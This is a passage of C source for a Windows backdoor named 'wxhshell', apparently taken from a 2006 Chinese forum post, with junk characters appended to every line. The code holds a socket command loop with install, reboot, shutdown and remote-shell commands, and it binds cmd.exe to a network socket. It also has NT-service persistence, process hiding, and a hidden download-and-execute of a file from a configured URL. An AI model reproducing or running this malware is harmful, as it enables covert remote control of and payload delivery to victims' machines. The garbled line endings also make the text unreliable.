      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .b!HEi<F  
    break; V`i(vC(  
  } s0h0Ep ED  
  // 安装 q1 BpE8  
  case 'i': { %kH,Rl\g  
    if(Install()) Y{@foIZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cv&>:k0V  
    else .)1u0 (?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *+2BZ ZwT  
    break; ycEp,V;[Z  
    } p_fsEY  
  // 卸载 l Dwq[ I]w  
  case 'r': { ?i!d00X  
    if(Uninstall()) ]D^; Ca  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hu}uc&N)iE  
    else ,wHlU-%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;qUd]c9oi  
    break; 0&Iu+hv  
    } ~X'hRNFx~  
  // 显示 wxhshell 所在路径 goD#2lg  
  case 'p': { o?3C-A|  
    char svExeFile[MAX_PATH]; cA]PZ*]{BN  
    strcpy(svExeFile,"\n\r"); 5twG2p8  
      strcat(svExeFile,ExeFile); dWo$5Bls<A  
        send(wsh,svExeFile,strlen(svExeFile),0); f,3K;S-he:  
    break; 83'rQDo)G  
    } 1pN8,[hyR7  
  // 重启 {t:*Xu  
  case 'b': { MQy,[y7I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EIg:@o&Jj  
    if(Boot(REBOOT)) k^s7s{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & ##JZ  
    else { Z^KWYe'w  
    closesocket(wsh); [?]p I  
    ExitThread(0); )o&}i3~Q  
    } 9IacZ  
    break; sd*NY  
    } \@^` G  
  // 关机 =#%Vs>G  
  case 'd': { 1=~##/at  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _gCi@uXS3  
    if(Boot(SHUTDOWN)) 6Q*zZ]kg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K2tOt7M!  
    else { h<!!r  
    closesocket(wsh); ,twm)%caU  
    ExitThread(0); qx?0]!x  
    } """eU,"  
    break; nfE4rIE4  
    } 8ROZ]Xh,x  
  // 获取shell ^X:g C9  
  case 's': { 2rS`ViicD  
    CmdShell(wsh); r+h$]OJ  
    closesocket(wsh); XIp>PcU^  
    ExitThread(0); ^VjF W  
    break; !Bhs8eGr3  
  } |W|RX3D  
  // 退出 ]Lm?3$u$  
  case 'x': { "z{ rC}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?T'a{ ~]R  
    CloseIt(wsh); h$$i@IO0  
    break; ^4a|gc  
    } LJ*W&y(2>Q  
  // 离开 D<bH RtP  
  case 'q': { G"*ch$:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .;;:t0PB  
    closesocket(wsh); Mqmy*m[U  
    WSACleanup(); )Tf,G[z&ge  
    exit(1); :b(Nrj&TQ[  
    break; %9T|"\  
        } )"Dl,Fig:/  
  } nSbcq>3  
  } JZoH -  
-Dr)+Y  
  // 提示信息 2zbV9Bhq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u 9kh@0  
} lXu6=r  
  } z_t%n<OvK  
nztnU9OG  
  return; x:`"tJa  
} $Rf)iW;h  
B3@\Ua)  
// shell模块句柄 zd {\XW  
int CmdShell(SOCKET sock) C+aL8_(R  
{ s.>;(RiJd  
STARTUPINFO si; =_vW7-H  
ZeroMemory(&si,sizeof(si)); M}N[> ,2'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t ;bU#THM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f^@D uI  
PROCESS_INFORMATION ProcessInfo; kD_616  
char cmdline[]="cmd"; L9,O,f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PsyXt5Dk  
  return 0; ^:^8M4:  
} :<R"Kk@  
]+@I] \S4  
// 自身启动模式 8'0I$Qa4  
int StartFromService(void) Ab:+AC5{  
{ UO_tJN#X  
typedef struct 5>S)+p  
{ Jm]P,jaLc  
  DWORD ExitStatus; ECLQqjB  
  DWORD PebBaseAddress; JnXVI!+JDL  
  DWORD AffinityMask; "Rr650w[  
  DWORD BasePriority; 'E kuCL  
  ULONG UniqueProcessId; >1NE6T  
  ULONG InheritedFromUniqueProcessId; 1p COLC%1  
}   PROCESS_BASIC_INFORMATION; "uG@gV  
qnTW?c9Z5  
PROCNTQSIP NtQueryInformationProcess; lVo}DFZ  
{4HcecT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DkeFDzQ5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E6s)J -a  
DY8w\1g"  
  HANDLE             hProcess; #0 eop>O  
  PROCESS_BASIC_INFORMATION pbi; QK(w2`  
xcE<|0N :  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,2`FSL%J  
  if(NULL == hInst ) return 0; )|E617g  
#;F*rJ[XY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )o_Pnq9_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1'BC R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `z?h=&N  
) 0|X];sD  
  if (!NtQueryInformationProcess) return 0; C0 o  
2~)r,.,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %%hG],w  
  if(!hProcess) return 0; ]seOc],4  
?j@(1",=&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R9)"%SO<y  
\'-E[xNcWI  
  CloseHandle(hProcess); V8" m_  
5PPaR|c3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e&ci\x%  
if(hProcess==NULL) return 0; ^#)]ICV  
tQmuok4"d  
HMODULE hMod; 7s}E q~  
char procName[255]; GfL: 0  
unsigned long cbNeeded; .[C@p`DZ  
,]_<8@R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p\ _&  
T!Z).PA#  
  CloseHandle(hProcess); o'Kl+gw4  
0c$ ')`! m  
if(strstr(procName,"services")) return 1; // 以服务启动 8 ;"HM5+  
YzeNr*  
  return 0; // 注册表启动 ID8u&:  
} i{4J$KT  
2su/I  
// 主模块 WADAp\&  
int StartWxhshell(LPSTR lpCmdLine) ){$*<#&H  
{ S$ Z?T  
  SOCKET wsl; }ISc^W) t  
BOOL val=TRUE; =.ReM_.  
  int port=0; X}_Gk5q*  
  struct sockaddr_in door; Y [%<s/  
s|9[=JMG  
  if(wscfg.ws_autoins) Install(); ND\M  
2OsS+6,[x  
port=atoi(lpCmdLine); W>y &  
kKz>]t"A  
if(port<=0) port=wscfg.ws_port; VhLS*YiSY  
>h{)7Hv  
  WSADATA data; }}gtz-w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4{CeV7  
^~JF7u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S$NJmXhx5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w,eW?b  
  door.sin_family = AF_INET; Y>SpV_H%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w5* Z\t5  
  door.sin_port = htons(port); 7,"y!\  
lAJ P X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jAak,[~;  
closesocket(wsl); *IWWD\U  
return 1; 1w'W)x  
} 6\vaR#  
;2[o>73F  
  if(listen(wsl,2) == INVALID_SOCKET) { hkl9 EVO)  
closesocket(wsl); HJjx!7h  
return 1; KuZZKh  
} sny$[!)  
  Wxhshell(wsl); U%rq(`;  
  WSACleanup(); H_FT%`iM  
ob]j1gYb  
return 0; A\ r}V-  
j] J-#J  
} m"GgaH3,  
C_S2a 0?  
// 以NT服务方式启动 3wN{k\n s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q)2i{\GPVn  
{ =buarxk  
DWORD   status = 0; #MUY!  
  DWORD   specificError = 0xfffffff; : 22)` ;0  
QzVoU |  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y T'olk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;*njS1@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uP$C2glyz  
  serviceStatus.dwWin32ExitCode     = 0; aW_Pv~  
  serviceStatus.dwServiceSpecificExitCode = 0; /z`.-D(  
  serviceStatus.dwCheckPoint       = 0; |o<c`:;kt  
  serviceStatus.dwWaitHint       = 0; sQBKzvFO3  
Q PrP3DK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I+W:}}"j  
  if (hServiceStatusHandle==0) return; k|`Qk!tr  
eL88lV]I  
status = GetLastError(); cy0j>-z  
  if (status!=NO_ERROR) VWrb`p@  
{ mv>-XJ+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qW`DCZu  
    serviceStatus.dwCheckPoint       = 0; $ D.*r*c6  
    serviceStatus.dwWaitHint       = 0; u4|) A4n  
    serviceStatus.dwWin32ExitCode     = status; jM: |%o  
    serviceStatus.dwServiceSpecificExitCode = specificError; L [&|<<c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1|:'jK#gE  
    return; /<1zzeHRSD  
  } +h@ZnFp3  
oc;4;A-;`c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SvQ!n4 $  
  serviceStatus.dwCheckPoint       = 0; *yYeqm  
  serviceStatus.dwWaitHint       = 0; 8(g}/%1mt3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p# JPLCs  
} ';xp+,'}\  
S4VM(~,o  
// 处理NT服务事件,比如:启动、停止 l'7' G$v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ddC a  
{ eh}|Wd7J  
switch(fdwControl) B*:W`}G]_c  
{ ?-JW2 E"uT  
case SERVICE_CONTROL_STOP: Q7-'5s   
  serviceStatus.dwWin32ExitCode = 0; OmlM9cXm^4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BvP++,a&Sa  
  serviceStatus.dwCheckPoint   = 0; Zi{vEI]  
  serviceStatus.dwWaitHint     = 0; U#:N/ts*(  
  { X 4\V4_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >dXB)yl  
  } T%4yPmY  
  return; >4bWXb'S}C  
case SERVICE_CONTROL_PAUSE: -ufaV#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'LYN{  
  break; X@za4d  
case SERVICE_CONTROL_CONTINUE: Mavid kS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \%_sL#?  
  break; b%7zu}F  
case SERVICE_CONTROL_INTERROGATE: b9VI(s>  
  break; ;?C`Jag x  
}; |lN=q44I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IV~5Y{(l  
} +V;d^&S  
.|0$?w  
// 标准应用程序主函数 ^%O$7*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q);oO\<  
{ poy_?7G  
ZEs^b  
// 获取操作系统版本 m -0}Pe9L  
OsIsNt=GetOsVer(); mQ3gp&d3W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5w5"rcV  
0E9 lv"3o  
  // 从命令行安装 ,/Q`gRBh"  
  if(strpbrk(lpCmdLine,"iI")) Install(); hqa6aYY x  
<5zr|BTF]F  
  // 下载执行文件 Zt}b}Bz  
if(wscfg.ws_downexe) { m[v%Qe|~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r`i.h ^2De  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8X/SNRk6p  
} vAjog])9s  
h+w1 D}*  
if(!OsIsNt) { WW-}c;cnK  
// 如果时win9x,隐藏进程并且设置为注册表启动 ? M.'YB2  
HideProc(); XB a^ A  
StartWxhshell(lpCmdLine); *ZIX76y<!A  
} mR$0Ij/v  
else O"1HO[  
  if(StartFromService()) S[{,+{b0  
  // 以服务方式启动 qB+OxyT&  
  StartServiceCtrlDispatcher(DispatchTable); 'sTc=*p/  
else \F)WUIK  
  // 普通方式启动 JOyM#g9-?  
  StartWxhshell(lpCmdLine); %Vfr#j$=  
58R.`5B  
return 0; m~4ik1 wq  
}
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只看该作者 1 发表于: 2006-10-10
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